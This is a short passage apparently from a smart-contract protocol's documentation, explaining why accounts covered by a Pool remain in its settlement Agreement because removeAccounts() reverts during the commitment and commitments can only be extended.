This keeps every covered account inside the Agreement used for settlement for the full Pool term, because upstream removeAccounts() reverts while the commitment is still in force. The check also stays valid for the Pool's whole life: an Agreement commitment can be extended but never shortened, so the invariant holds once it is established at creation.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!